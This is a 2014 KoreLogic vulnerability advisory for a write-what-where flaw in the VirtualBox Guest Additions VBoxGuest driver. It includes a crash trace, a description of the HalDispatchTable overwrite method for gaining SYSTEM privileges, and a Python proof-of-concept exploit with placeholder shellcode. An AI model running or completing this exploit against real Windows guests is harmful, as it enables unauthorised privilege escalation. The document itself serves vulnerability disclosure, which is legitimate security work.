Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation

Vulnerability Description

A vulnerability within VBoxGuest module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile.

Technical Description

A userland process can create a handle into the VBoxGuest device and subsequently make DeviceIoControlFile() calls into that device. During the IRP handler routine for 0x0022a040 the user provided OutputBuffer address is not validated. This allows an attacker to specify an arbitrary address and write (or overwrite) the memory residing at the specified address. This is classically known as a write-what-where vulnerability and has well known exploitation methods associated with it.

A stack trace from our fuzzing can be seen below. In our fuzzing testcase, the specified OutputBuffer in the DeviceIoControlFile() call is 0xffff0000.

STACK_TEXT:
f824a9d4 805241e0 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
f824aa20 804e172b 00000001 ffff0000 00000000 nt!MmAccessFault+0x6f5
f824aa20 804eca3b 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
f824aaf0 804ecaba ffa74248 f824ab3c f824ab30 nt!IopCompleteRequest+0x92
f824ab40 806f5c0e 00000000 00000000 f824ab58 nt!KiDeliverApc+0xb3
f824ab40 806f00b3 00000000 00000000 f824ab58 hal!HalpApcInterrupt2ndEntry+0x31
f824abcc 804e546c ffa74248 ffa74208 00000000 hal!KfLowerIrql+0x43
f824abec 804ecad4 ffa74248 811772d8 00000000 nt!KeInsertQueueApc+0x4b
f824ac20 faa36123 811772d8 81297558 00000000 nt!IopfCompleteRequest+0x1d8
f824ac34 804e3807 0000008c 0000008c 806f0070 VBoxGuest+0x1123
f824ac44 80568191 ffa7429c 811772d8 ffa74208 nt!IopfCallDriver+0x31
f824ac58 805770ca 812971a8 ffa74208 811772d8 nt!IopSynchronousServiceTail+0x70
f824ad00 805795e3 00000058 00000000 00000000 nt!IopXxxControlFile+0x611
f824ad34 804de7ec 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f824ad34 7c90e526 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8
0021fa54 7c90d28a 1d1adc9a 00000058 00000000 ntdll!KiIntSystemCall+0x6
0021fa58 1d1adc9a 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc

Reviewing the TRAP_FRAME at the time of crash we can see IopCompleteRequest() copying data from InputBuffer into the OutputBuffer. InputBuffer is another parameter provided to the DeviceIoControlFile() function and is therefore controllable by the attacker. The edi register contains the invalid address provided during the fuzz testcase.

ErrCode = 00000002
eax=0000008c ebx=ffa74208 ecx=00000023 edx=00000000 esi=811eabf0 edi=ffff0000
eip=804eca3b esp=f824aaac ebp=f824aaf0 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
nt!IopCompleteRequest+0x92:
0008:804eca3b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

A write-what-where vulnerability can be leveraged to obtained escalated privileges. To do so, an attacker will need to allocate memory in userland that is populated with shellcode designed to find the Token for PID 4 (System) and then overwrite the token for its own process. By leveraging the vulnerability it is then possible to overwrite the pointer at HalDispatchTable+0x4 with a pointer to our shellcode. Calling NtQueryIntervalProfile() will subsequently call HalDispatchTable+0x4, execute our shellcode, and elevate the privilege of the exploit process.

Mitigation and Remediation Recommendation

The vendor has patched this vulnerability. The patch information is here: http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

Credit

This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc.

Proof of Concept

# KL-001-2014-001 : Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation
# Oracle VirtualBox 4.3.8-4.3.10
#
# Matt Bergin (KoreLogic/Smash the Stack)
# thanks to bla
#

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
VirtualProtect = windll.kernel32.VirtualProtect
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
	retArray = c_ulong*1024
	ImageBase = retArray()
	callback = c_int(1024)
	cbNeeded = c_long()
	EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
	for base in ImageBase:
		driverName = c_char_p("\x00"*1024)
		GetDeviceDriverBaseNameA(base,driverName,48)
		if (name):
			if (driverName.value.lower() == name):
				return base
		else:
			return (base,driverName.value)
	return None

handle = CreateFileA("\\\\.\\VBoxGuest",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
print "[+] Handle \\\\.\\VBoxGuest @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
buf = "\xcc\xcc\xcc\xcc"*35
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
WriteProcessMemory(-1, 0x1, buf, 140, byref(c_int(0)))
#Overwrite Pointer
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x22a040,0x1,140,HalDispatchTable-40,0)
print "[+] HalDispatchTable+0x4 overwritten"
CloseHandle(handle)
NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))
#Something bad happened
exit(0)

The contents of this advisory are copyright(c) 2014 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt